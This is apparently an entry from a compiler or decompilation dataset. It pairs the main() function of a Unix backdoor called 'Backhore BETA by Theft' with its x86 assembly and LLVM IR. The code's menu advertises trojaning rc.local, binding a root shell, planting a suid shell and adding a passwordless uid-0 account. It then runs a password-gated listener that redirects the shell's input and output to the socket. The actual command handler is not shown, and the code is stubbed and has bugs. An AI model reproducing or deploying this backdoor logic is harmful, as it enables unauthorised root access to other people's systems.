#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_LOOPBACK;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ WNOHANG;
int accept(int, struct sockaddr *, int *);
int bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fgets(char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ fork();
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int getchar();
int /*<<< orphan*/ handle(int);
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int listen(int, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ stdin;
int /*<<< orphan*/ strcat(char *, char *);
int /*<<< orphan*/ strcmp(char *, char *);
int /*<<< orphan*/ strncpy(char *, char *, int);
scalar_t__ waitpid(int, int /*<<< orphan*/ *, int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  int sockfd, new_fd, sin_size, numbytes, cmd;
  char ask[10] = "Command: ";
  char *null = "\0";
  char *bytes, *buf, pass[40];
  struct sockaddr_in my_addr;
  struct sockaddr_in their_addr;
  printf("\n      Backhore BETA by Theft\n");
  printf(" 1: trojans rc.local\n");
  printf(" 2: sends a systemwide message\n");
  printf(" 3: binds a root shell on port 2000\n");
  printf(" 4: creates suid sh in /tmp\n");
  printf(" 5: creates mutiny account uid 0 no passwd\n");
  printf(" 6: drops to suid shell\n");
  printf(" 7: information on backhore\n");
  printf(" 8: contact\n");
  if (argc != 2) {
    fprintf(stderr, "Usage: %s password\n", argv[0]);
    exit(1);
  }
  strncpy(pass, argv[1], 40);
  strcat(pass, null);
  printf("..using password value: %s..\n", pass);
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket");
    exit(1);
  }
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(42019);
  my_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) ==
      -1) {
    perror("bind");
    exit(1);
  }
  if (listen(sockfd, 10) == -1) {
    perror("listen");
    exit(1);
  }
  sin_size = sizeof(struct sockaddr);
  while (1) {
    if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) ==
        -1) {
      perror("accept");
      continue;
    }
    if (!fork()) {
      dup2(new_fd, 0);
      dup2(new_fd, 1);
      dup2(new_fd, 2);
      fgets(buf, 40, stdin);
      if (!strcmp(buf, pass)) {
        printf("%s", ask);
        cmd = getchar();
        handle(cmd);
      }
      close(new_fd);
      exit(0);
    }
    close(new_fd);
    while (waitpid(-1, NULL, WNOHANG) > 0)
      ;
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x90,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0xda0(%rip),%rax
mov    %rax,-0x2e(%rbp)
mov    0xd9d(%rip),%ax
mov    %ax,-0x26(%rbp)
lea    0xee9(%rip),%rax
mov    %rax,-0x38(%rbp)
lea    0xd89(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xd9a(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xda2(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xdb4(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xdcb(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xdda(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xdf8(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xe03(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xe12(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
cmpl   $0x2,-0x8(%rbp)
je     1328 <main+0xe8>
mov    0x2cb7(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xdf7(%rip),%rsi
call   10d0 <fprintf@plt>
mov    $0x1,%edi
call   1140 <exit@plt>
lea    -0x70(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
mov    $0x28,%edx
call   1030 <strncpy@plt>
lea    -0x70(%rbp),%rdi
mov    -0x38(%rbp),%rsi
call   1130 <strcat@plt>
lea    -0x70(%rbp),%rsi
lea    0xdce(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2c84(%rip),%rax
mov    (%rax),%edi
mov    0x2c4b(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1160 <socket@plt>
mov    %eax,-0x14(%rbp)
cmp    $0xffffffff,%eax
jne    1398 <main+0x158>
lea    0xdb9(%rip),%rdi
call   1110 <perror@plt>
mov    $0x1,%edi
call   1140 <exit@plt>
mov    0x2c49(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x78(%rbp)
mov    $0xa423,%edi
call   1040 <htons@plt>
mov    %eax,-0x7c(%rbp)
mov    0x2c18(%rip),%rax
mov    (%rax),%edi
call   1070 <htonl@plt>
mov    %eax,-0x80(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x80(%rbp),%rsi
mov    $0x4,%edx
call   10f0 <bind@plt>
cmp    $0xffffffff,%eax
jne    13f2 <main+0x1b2>
lea    0xd66(%rip),%rdi
call   1110 <perror@plt>
mov    $0x1,%edi
call   1140 <exit@plt>
mov    -0x14(%rbp),%edi
mov    $0xa,%esi
call   10e0 <listen@plt>
cmp    $0xffffffff,%eax
jne    141e <main+0x1de>
lea    0xd3f(%rip),%rdi
call   1110 <perror@plt>
mov    $0x1,%edi
call   1140 <exit@plt>
movl   $0x4,-0x1c(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x90(%rbp),%rsi
lea    -0x1c(%rbp),%rdx
call   1120 <accept@plt>
mov    %eax,-0x18(%rbp)
cmp    $0xffffffff,%eax
jne    1455 <main+0x215>
lea    0xd0a(%rip),%rdi
call   1110 <perror@plt>
jmp    1425 <main+0x1e5>
mov    $0x0,%al
call   1150 <fork@plt>
cmp    $0x0,%eax
jne    14e9 <main+0x2a9>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
mov    -0x48(%rbp),%rdi
mov    0x2b4c(%rip),%rax
mov    (%rax),%edx
mov    $0x28,%esi
call   10a0 <fgets@plt>
mov    -0x48(%rbp),%rdi
lea    -0x70(%rbp),%rsi
call   10b0 <strcmp@plt>
cmp    $0x0,%eax
jne    14da <main+0x29a>
lea    -0x2e(%rbp),%rsi
lea    0xc9b(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    $0x0,%al
call   10c0 <getchar@plt>
mov    %eax,-0x24(%rbp)
mov    -0x24(%rbp),%edi
call   1090 <handle@plt>
mov    -0x18(%rbp),%edi
call   1080 <close@plt>
xor    %edi,%edi
call   1140 <exit@plt>
mov    -0x18(%rbp),%edi
call   1080 <close@plt>
mov    0x2ae0(%rip),%rax
mov    (%rax),%edx
mov    $0xffffffff,%edi
xor    %eax,%eax
mov    %eax,%esi
call   1100 <waitpid@plt>
cmp    $0x0,%rax
jle    1517 <main+0x2d7>
jmp    14f1 <main+0x2b1>
jmp    1425 <main+0x1e5>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x68,%rsp
mov    %rsi,%rbx
mov    %edi,%ebp
movabs $0x3a646e616d6d6f43,%rax
6e 64 3a
mov    %rax,0x20(%rsp)
movw   $0x20,0x28(%rsp)
lea    0xdd9(%rip),%rdi
call   1040 <puts@plt>
lea    0xdeb(%rip),%rdi
call   1040 <puts@plt>
lea    0xdf4(%rip),%rdi
call   1040 <puts@plt>
lea    0xe07(%rip),%rdi
call   1040 <puts@plt>
lea    0xe1f(%rip),%rdi
call   1040 <puts@plt>
lea    0xe2f(%rip),%rdi
call   1040 <puts@plt>
lea    0xe4e(%rip),%rdi
call   1040 <puts@plt>
lea    0xe5a(%rip),%rdi
call   1040 <puts@plt>
lea    0xe6a(%rip),%rdi
call   1040 <puts@plt>
cmp    $0x2,%ebp
jne    134a <main+0xfa>
mov    0x8(%rbx),%rsi
lea    0x40(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x28,%edx
call   1030 <strncpy@plt>
lea    0xe4f(%rip),%rsi
mov    %rbx,%rdi
call   1140 <strcat@plt>
lea    0xd08(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1070 <printf@plt>
mov    0x2cc1(%rip),%rbx
mov    (%rbx),%edi
mov    0x2c88(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1170 <socket@plt>
cmp    $0xffffffff,%eax
jne    136c <main+0x11c>
lea    0xcf7(%rip),%rdi
jmp    13ce <main+0x17e>
mov    0x2c6f(%rip),%rax
mov    (%rax),%edi
mov    (%rbx),%rdx
lea    0xcad(%rip),%rsi
call   10e0 <fprintf@plt>
mov    $0x1,%edi
call   1150 <exit@plt>
mov    %eax,%r13d
mov    (%rbx),%eax
mov    %eax,0x18(%rsp)
mov    $0xa423,%edi
call   1050 <htons@plt>
mov    %eax,0x14(%rsp)
mov    0x2c46(%rip),%rax
mov    (%rax),%edi
call   1080 <htonl@plt>
mov    %eax,0x10(%rsp)
lea    0x10(%rsp),%rsi
mov    %r13d,%edi
mov    $0x4,%edx
call   1100 <bind@plt>
cmp    $0xffffffff,%eax
jne    13b5 <main+0x165>
lea    0xc90(%rip),%rdi
jmp    13ce <main+0x17e>
mov    %r13d,%edi
mov    $0xa,%esi
call   10f0 <listen@plt>
cmp    $0xffffffff,%eax
jne    13dd <main+0x18d>
lea    0xc7a(%rip),%rdi
call   1120 <perror@plt>
mov    $0x1,%edi
call   1150 <exit@plt>
movl   $0x4,0xc(%rsp)
lea    0x30(%rsp),%r14
lea    0xc(%rsp),%r15
lea    0xc59(%rip),%r12
mov    0x2bdb(%rip),%rbx
jmp    1410 <main+0x1c0>
mov    %r12,%rdi
call   1120 <perror@plt>
nopw   0x0(%rax,%rax,1)
mov    %r13d,%edi
mov    %r14,%rsi
mov    %r15,%rdx
call   1130 <accept@plt>
cmp    $0xffffffff,%eax
je     13ff <main+0x1af>
mov    %eax,%ebp
xor    %eax,%eax
call   1160 <fork@plt>
test   %eax,%eax
je     1455 <main+0x205>
mov    %ebp,%edi
call   1090 <close@plt>
nopw   0x0(%rax,%rax,1)
mov    (%rbx),%edx
mov    $0xffffffff,%edi
xor    %esi,%esi
call   1110 <waitpid@plt>
test   %rax,%rax
jg     1440 <main+0x1f0>
jmp    1410 <main+0x1c0>
mov    %ebp,%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
mov    0x2b63(%rip),%rax
mov    (%rax),%edx
mov    $0x28,%esi
call   10b0 <fgets@plt>
lea    0x40(%rsp),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
jne    14b8 <main+0x268>
lea    0xbb8(%rip),%rdi
lea    0x20(%rsp),%rsi
xor    %eax,%eax
call   1070 <printf@plt>
xor    %eax,%eax
call   10d0 <getchar@plt>
mov    %eax,%edi
call   10a0 <handle@plt>
mov    %ebp,%edi
call   1090 <close@plt>
xor    %edi,%edi
call   1150 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.ask = [10 x i8] c"Command: \00"
@.str = [2 x i8] zeroinitializer
@.str.1 = [31 x i8] c"\0A Backhore BETA by Theft\0A\00"
@.str.2 = [22 x i8] c" 1: trojans rc.local\0A\00"
@.str.3 = [32 x i8] c" 2: sends a systemwide message\0A\00"
@.str.4 = [37 x i8] c" 3: binds a root shell on port 2000\0A\00"
@.str.5 = [29 x i8] c" 4: creates suid sh in /tmp\0A\00"
@.str.6 = [44 x i8] c" 5: creates mutiny account uid 0 no passwd\0A\00"
@.str.7 = [25 x i8] c" 6: drops to suid shell\0A\00"
@.str.8 = [29 x i8] c" 7: information on backhore\0A\00"
@.str.9 = [13 x i8] c" 8: contact\0A\00"
@stderr = global i32 0
@.str.10 = [20 x i8] c"Usage: %s password\0A\00"
@.str.11 = [30 x i8] c"..using password value: %s..\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.12 = [7 x i8] c"socket\00"
@INADDR_LOOPBACK = global i32 0
@.str.13 = [5 x i8] c"bind\00"
@.str.14 = [7 x i8] c"listen\00"
@.str.15 = [7 x i8] c"accept\00"
@stdin = global i32 0
@.str.16 = [3 x i8] c"%s\00"
@WNOHANG = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca [10 x i8]
%12 = alloca i8*
%13 = alloca i8*
%14 = alloca i8*
%15 = alloca [40 x i8]
%16 = alloca %struct.sockaddr_in
%17 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%18 = bitcast [10 x i8]* %11 to i8*
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %12
%19 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.1, i64 0, i64 0))
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0))
%21 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.3, i64 0, i64 0))
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.4, i64 0, i64 0))
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.5, i64 0, i64 0))
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.6, i64 0, i64 0))
%25 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.7, i64 0, i64 0))
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.8, i64 0, i64 0))
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.9, i64 0, i64 0))
%28 = load i32, i32* %4
%29 = icmp ne i32 %28, 2
br i1 %29, label %30, label %37
30: ; preds = %2
%31 = load i32, i32* @stderr
%32 = load i8**, i8*** %5
%33 = getelementptr inbounds i8*, i8** %32, i64 0
%34 = load i8*, i8** %33
%35 = call i32 @fprintf(i32 %31, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.10, i64 0, i64 0), i8* %34)
%36 = call i32 @exit(i32 1)
unreachable
37: ; preds = %2
%38 = getelementptr inbounds [40 x i8], [40 x i8]* %15, i64 0, i64 0
%39 = load i8**, i8*** %5
%40 = getelementptr inbounds i8*, i8** %39, i64 1
%41 = load i8*, i8** %40
%42 = call i32 @strncpy(i8* %38, i8* %41, i32 40)
%43 = getelementptr inbounds [40 x i8], [40 x i8]* %15, i64 0, i64 0
%44 = load i8*, i8** %12
%45 = call i32 @strcat(i8* %43, i8* %44)
%46 = getelementptr inbounds [40 x i8], [40 x i8]* %15, i64 0, i64 0
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.11, i64 0, i64 0), i8* %46)
%48 = load i32, i32* @AF_INET
%49 = load i32, i32* @SOCK_STREAM
%50 = call i32 @socket(i32 %48, i32 %49, i32 0)
store i32 %50, i32* %6
%51 = icmp eq i32 %50, -1
br i1 %51, label %52, label %55
52: ; preds = %37
%53 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.12, i64 0, i64 0))
%54 = call i32 @exit(i32 1)
unreachable
55: ; preds = %37
%56 = load i32, i32* @AF_INET
%57 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %16, i32 0, i32 2
store i32 %56, i32* %57
%58 = call i32 @htons(i32 42019)
%59 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %16, i32 0, i32 1
store i32 %58, i32* %59
%60 = load i32, i32* @INADDR_LOOPBACK
%61 = call i32 @htonl(i32 %60)
%62 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %16, i32 0, i32 0
%63 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %62, i32 0, i32 0
store i32 %61, i32* %63
%64 = load i32, i32* %6
%65 = bitcast %struct.sockaddr_in* %16 to %struct.sockaddr*
%66 = call i32 @bind(i32 %64, %struct.sockaddr* %65, i32 4)
%67 = icmp eq i32 %66, -1
br i1 %67, label %68, label %71
68: ; preds = %55
%69 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.13, i64 0, i64 0))
%70 = call i32 @exit(i32 1)
unreachable
71: ; preds = %55
%72 = load i32, i32* %6
%73 = call i32 @listen(i32 %72, i32 10)
%74 = icmp eq i32 %73, -1
br i1 %74, label %75, label %78
75: ; preds = %71
%76 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.14, i64 0, i64 0))
%77 = call i32 @exit(i32 1)
unreachable
78: ; preds = %71
store i32 4, i32* %8
br label %79
79: ; preds = %78, %84, %121
%80 = load i32, i32* %6
%81 = bitcast %struct.sockaddr_in* %17 to %struct.sockaddr*
%82 = call i32 @accept(i32 %80, %struct.sockaddr* %81, i32* %8)
store i32 %82, i32* %7
%83 = icmp eq i32 %82, -1
br i1 %83, label %84, label %86
84: ; preds = %79
%85 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.15, i64 0, i64 0))
br label %79
86: ; preds = %79
%87 = call i32 (...) @fork()
%88 = icmp ne i32 %87, 0
br i1 %88, label %113, label %89
89: ; preds = %86
%90 = load i32, i32* %7
%91 = call i32 @dup2(i32 %90, i32 0)
%92 = load i32, i32* %7
%93 = call i32 @dup2(i32 %92, i32 1)
%94 = load i32, i32* %7
%95 = call i32 @dup2(i32 %94, i32 2)
%96 = load i8*, i8** %14
%97 = load i32, i32* @stdin
%98 = call i32 @fgets(i8* %96, i32 40, i32 %97)
%99 = load i8*, i8** %14
%100 = getelementptr inbounds [40 x i8], [40 x i8]* %15, i64 0, i64 0
%101 = call i32 @strcmp(i8* %99, i8* %100)
%102 = icmp ne i32 %101, 0
br i1 %102, label %109, label %103
103: ; preds = %89
%104 = getelementptr inbounds [10 x i8], [10 x i8]* %11, i64 0, i64 0
%105 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.16, i64 0, i64 0), i8* %104)
%106 = call i32 (...) @getchar()
store i32 %106, i32* %10
%107 = load i32, i32* %10
%108 = call i32 @handle(i32 %107)
br label %109
109: ; preds = %103, %89
%110 = load i32, i32* %7
%111 = call i32 @close(i32 %110)
%112 = call i32 @exit(i32 0)
unreachable
113: ; preds = %86
%114 = load i32, i32* %7
%115 = call i32 @close(i32 %114)
br label %116
116: ; preds = %120, %113
%117 = load i32, i32* @WNOHANG
%118 = call i64 @waitpid(i32 -1, i32* null, i32 %117)
%119 = icmp sgt i64 %118, 0
br i1 %119, label %120, label %121
120: ; preds = %116
br label %116
121: ; preds = %116
br label %79
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.ask = [10 x i8] c"Command: \00"
@.str = [2 x i8] zeroinitializer
@stderr = global i32 0
@.str.10 = [20 x i8] c"Usage: %s password\0A\00"
@.str.11 = [30 x i8] c"..using password value: %s..\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.12 = [7 x i8] c"socket\00"
@INADDR_LOOPBACK = global i32 0
@.str.13 = [5 x i8] c"bind\00"
@.str.14 = [7 x i8] c"listen\00"
@.str.15 = [7 x i8] c"accept\00"
@stdin = global i32 0
@.str.16 = [3 x i8] c"%s\00"
@WNOHANG = global i32 0
@str = [30 x i8] c"\0A Backhore BETA by Theft\00"
@str.17 = [21 x i8] c" 1: trojans rc.local\00"
@str.18 = [31 x i8] c" 2: sends a systemwide message\00"
@str.19 = [36 x i8] c" 3: binds a root shell on port 2000\00"
@str.20 = [28 x i8] c" 4: creates suid sh in /tmp\00"
@str.21 = [43 x i8] c" 5: creates mutiny account uid 0 no passwd\00"
@str.22 = [24 x i8] c" 6: drops to suid shell\00"
@str.23 = [28 x i8] c" 7: information on backhore\00"
@str.24 = [12 x i8] c" 8: contact\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca i32
%4 = alloca [10 x i8]
%5 = alloca [40 x i8]
%6 = alloca %struct.sockaddr_in
%7 = alloca %struct.sockaddr_in
%8 = bitcast i32* %3 to i8*
%9 = getelementptr inbounds [10 x i8], [10 x i8]* %4, i64 0, i64 0
%10 = getelementptr inbounds [40 x i8], [40 x i8]* %5, i64 0, i64 0
%11 = bitcast %struct.sockaddr_in* %6 to i8*
%12 = bitcast %struct.sockaddr_in* %7 to i8*
%13 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @str, i64 0, i64 0))
%14 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.17, i64 0, i64 0))
%15 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @str.18, i64 0, i64 0))
%16 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @str.19, i64 0, i64 0))
%17 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @str.20, i64 0, i64 0))
%18 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([43 x i8], [43 x i8]* @str.21, i64 0, i64 0))
%19 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.22, i64 0, i64 0))
%20 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @str.23, i64 0, i64 0))
%21 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @str.24, i64 0, i64 0))
%22 = icmp eq i32 %0, 2
br i1 %22, label %28, label %23
23: ; preds = %2
%24 = load i32, i32* @stderr
%25 = load i8*, i8** %1
%26 = tail call i32 @fprintf(i32 %24, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.10, i64 0, i64 0), i8* %25)
%27 = tail call i32 @exit(i32 1)
unreachable
28: ; preds = %2
%29 = getelementptr inbounds i8*, i8** %1, i64 1
%30 = load i8*, i8** %29
%31 = call i32 @strncpy(i8* %10, i8* %30, i32 40)
%32 = call i32 @strcat(i8* %10, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%33 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.11, i64 0, i64 0), i8* %10)
%34 = load i32, i32* @AF_INET
%35 = load i32, i32* @SOCK_STREAM
%36 = call i32 @socket(i32 %34, i32 %35, i32 0)
%37 = icmp eq i32 %36, -1
br i1 %37, label %38, label %41
38: ; preds = %28
%39 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.12, i64 0, i64 0))
%40 = call i32 @exit(i32 1)
unreachable
41: ; preds = %28
%42 = load i32, i32* @AF_INET
%43 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 2
store i32 %42, i32* %43
%44 = call i32 @htons(i32 42019)
%45 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 1
store i32 %44, i32* %45
%46 = load i32, i32* @INADDR_LOOPBACK
%47 = call i32 @htonl(i32 %46)
%48 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 0, i32 0
store i32 %47, i32* %48
%49 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%50 = call i32 @bind(i32 %36, %struct.sockaddr* %49, i32 4)
%51 = icmp eq i32 %50, -1
br i1 %51, label %52, label %55
52: ; preds = %41
%53 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.13, i64 0, i64 0))
%54 = call i32 @exit(i32 1)
unreachable
55: ; preds = %41
%56 = call i32 @listen(i32 %36, i32 10)
%57 = icmp eq i32 %56, -1
br i1 %57, label %58, label %61
58: ; preds = %55
%59 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.14, i64 0, i64 0))
%60 = call i32 @exit(i32 1)
unreachable
61: ; preds = %55
store i32 4, i32* %3
%62 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
br label %63
63: ; preds = %68, %61
%64 = call i32 @accept(i32 %36, %struct.sockaddr* %62, i32* %3)
%65 = icmp eq i32 %64, -1
br i1 %65, label %66, label %69
66: ; preds = %63
%67 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.15, i64 0, i64 0))
br label %68
68: ; preds = %89, %66
br label %63
69: ; preds = %63
%70 = call i32 (...) @fork()
%71 = icmp eq i32 %70, 0
br i1 %71, label %72, label %87
72: ; preds = %69
%73 = call i32 @dup2(i32 %64, i32 0)
%74 = call i32 @dup2(i32 %64, i32 1)
%75 = call i32 @dup2(i32 %64, i32 2)
%76 = load i32, i32* @stdin
%77 = call i32 @fgets(i8* undef, i32 40, i32 %76)
%78 = call i32 @strcmp(i8* dereferenceable(1) undef, i8* %10)
%79 = icmp eq i32 %78, 0
br i1 %79, label %80, label %84
80: ; preds = %72
%81 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.16, i64 0, i64 0), i8* %9)
%82 = call i32 (...) @getchar()
%83 = call i32 @handle(i32 %82)
br label %84
84: ; preds = %80, %72
%85 = call i32 @close(i32 %64)
%86 = call i32 @exit(i32 0)
unreachable
87: ; preds = %69
%88 = call i32 @close(i32 %64)
br label %89
89: ; preds = %89, %87
%90 = load i32, i32* @WNOHANG
%91 = call i64 @waitpid(i32 -1, i32* null, i32 %90)
%92 = icmp sgt i64 %91, 0
br i1 %92, label %89, label %68
}